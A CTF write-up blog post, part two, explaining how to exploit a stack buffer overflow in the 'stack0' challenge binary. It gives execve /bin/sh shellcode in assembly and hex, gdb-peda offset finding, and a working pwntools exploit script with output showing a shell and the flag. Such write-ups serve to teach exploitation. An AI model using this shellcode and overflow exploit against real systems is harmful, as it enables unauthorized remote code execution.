sharedRoutine iOS Developer     About     Contact     Projects

CTF Challenge - Part 2

This is the second part of completing c0deh4cker’s CTF Challenge.

If you have no read it yet, please check out the first part of this two part tutorial

In order to get the second flag we need to spawn a shell with our exploit and read from flag2.txt.

Shellcode

This can be done with the shell command execve(“/bin//sh”, [“/bin//sh”], NULL) however we can not directly execute this in our exploit because it needs to be compiled first and because compiling at runtime does not really work, we’ll need to send this command in a different format: as shellcode.

Shellcode can directly be executed by the CPU therefore it is perfect for our usage. It looks like this:

.globl _start

_start:     xor %eax,       %eax
        xor     %edx,       %edx

        movb    $11,        %al

        push    %edx
        push    $0x68732f6e
        push    $0x69622f2f
        mov     %esp,       %ebx

        push    %edx
        push    %ebx
        mov     %esp,       %ecx

        int     $0x80

(by the way you can find lot’s of tutorials on shellcode as well as books on the internet)

We still need to get this in hexadecimal form to be able to write it to the stack. This is how our shellcode string looks like:

\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80

(if you search for exploits and shellcodes online, they give you the hexadecimal version as well most of the time)

This shellcode consists of 25 bytes, this is important to know when it comes to sending the our payload.

Theory of buffer overflows

As seen in part1 the stack is basically build up like this:

Top of stack
char input[50];
bool didPurchase = false;
char txt[64];
Saved frame pointer
Return address of function
Argument 1 (int sock)

And what we are trying to achive here is make it look like this:

Top of stack
SHELLCODE
NOPs
NOPS
NOPS
Modified Return Address pointing to our SHELLCODE
Argument 1 (int sock)
  1. We store our shellcode in the input buffer
  2. We NOP out the rest of the variables until we get to the return address
  3. Instead of returning to the original return address, we point to our shellcode to be executed next
  4. The shellcode then spawns a shell that we can use to read flag2.txt

Finding the correct offset

For this we’ll be using gdb-peda and we need to run stack0 on our server to be able to debug it.

Launch gdb using gdb ./stack0 in the current directory where you have put ./stack0. Next we’ll run the program

(gdb) r --no-chroot

and it should spit out > Starting program: /var/exploits/stack0 –no-chroot >Now accepting connections on port 32101 (0x7d65)

Now it is listening on port 32101 for our connection on our server. But before we can pass it our arguments, we need to pause it using Ctrl+C to be able to run gdb and gdb-peda commands.

What we want is a unique pattern that is way bigger than our buffer, so we create a pattern using gdb-peda like this:

pattern create 250

This will spit out this: (it might look different for you)

 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0'

We do not need the single quotes so make sure you strip them out before using this pattern. Continue the program using (gdb) c <enter>

The next thing we’re going to do is connect to our debugged program and pass it the string generated by gdb-peda without the single quotes. To do this run

nc YOUR_HOSTNAME_OR_IP 32101

After connecting successfully it will prompt you this:

Debug info: Address of input buffer = 0xADDR

Enter the name you used to purchase this program:

Here is where you put the pattern in and hit enter. gdb will pause as the program has crashed, this is because we overwrote the return address with some nonsense. Now we ask gdb-peda to tell us which part of the pattern did overwrite the return address. How do we do that?

To be able to understand what we are going to do next, you need to understand that the EIP register (Instruction Pointer) points to the next instruction that should be executed by the CPU. By passing 250 random characters to the program, that does not check boundaries, we overwrote the EIP register so that it contains another address, in this case it contains a non-existing address and therefore crashes. By looking at the value in EIP and finding it in the pattern, we can define the point where EIP is being overwritten and set it to point to our shellcode.

gdb-peda can do that for us:

pattern search $eip

this results in:

Registers contain pattern buffer:
EAX+52 found at offset: 69
EBP+0 found at offset: 123
EIP+0 found at offset: 127
ECX+104 found at offset: 12
Registers point to pattern buffer:
[ESP] --> offset 131 - size ~143
Pattern buffer found at:
0xffffd430 : offset  131 - size    5 ($sp + -0x130 [-76 dwords])
0xffffd450 : offset  131 - size    5 ($sp + -0x110 [-68 dwords])
0xffffd4dd : offset    0 - size  250 ($sp + -0x83 [-33 dwords])
References to pattern buffer found at:
0xffffd424 : 0xffffd430 ($sp + -0x13c [-79 dwords])
0xf7dd8d5c : 0xffffd450 (/lib32/libnss_files-2.21.so)
0xf7fed11c : 0xffffd450 (/lib32/ld-2.21.so)
0xffffd12c : 0xffffd450 ($sp + -0x434 [-269 dwords])
0xffffd198 : 0xffffd450 ($sp + -0x3c8 [-242 dwords])
0xffffcec0 : 0xffffd4dd ($sp + -0x6a0 [-424 dwords])

As you can see, it says EIP+0 found at offset: 127 which tells us that 127 bytes need to be written and then the next 4 bytes are for the return address.

Since our shellcode above is 25 bytes already, we need to subtract this from the 127 bytes we need to write.

skiplen = 127 - 25

The return address

Usually you’d need to find the location of the input buffer in memory to calculate the return address of your shellcode, however in this challenge, we have a debug info:

Debug info: Address of input buffer = 0xADDR

We can get this address using python, so it is time to write a python script! Again we’ll be using Gallopsled’s pwntools.

Parts of this code are discussed in the first part

# connecting
target = "YOUR_HOSTNAME_OR_IP"
port = 32101
r = remote(target,port)

# Debug info: Address of input buffer = 0xADDR
line = remote.recvline()
print("\n"+line)

# getting and structuring 0xADDR
retAddr = int(line.split()[-1], 16)
ret = struct.pack("<I", retAddr)

# shellcode
shellcode = '\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80'

# printing some info
print("Shellcode Length: " + str(len(shellcode)))
print("Return Addr: " + ret)
print("Return Address Length: " + str(len(ret)) + "\n")

# calculate the skip length
skiplen = 127 - len(shellcode)

#create payload - 25 bytes shellcode + NOPs * skiplen + ret addr
# this writes the shellcode to the buffer and then skipping to the return address
payload = shellcode + "A" * skiplen + ret

# send payload
r.sendline(payload)

print("Enjoy your shell!\n")
  1. We connect to the target
  2. We get the address of the input buffer
  3. We create our payload
  4. We send our payload

Let’s run it!

[+] Opening connection to c0deh4cker.com on port 32101: Done

Debug info: Address of input buffer = 0xff98128d

Shellcode Length: 25
Return Addr: \x8d\x12\x98\xff
Return Address Length: 4

Enjoy your shell!

[*] Switching to interactive mode
Enter the name you used to purchase this program:
$ whoami
ctf_stack0
$  

as you can see we were able to run whoami and we are currently having a shell on our server as ctf_stack0! To complete the second challenge, we simply run this:

$ ls
flag1.txt
flag2.txt
stack0
$ cat flag2.txt
flag{what_is_this_flag_you_speak_of}

That’s about it! I’ve wrote a small script adding some more options and so on or this challenge. You can view it here:

stack0_exploit.py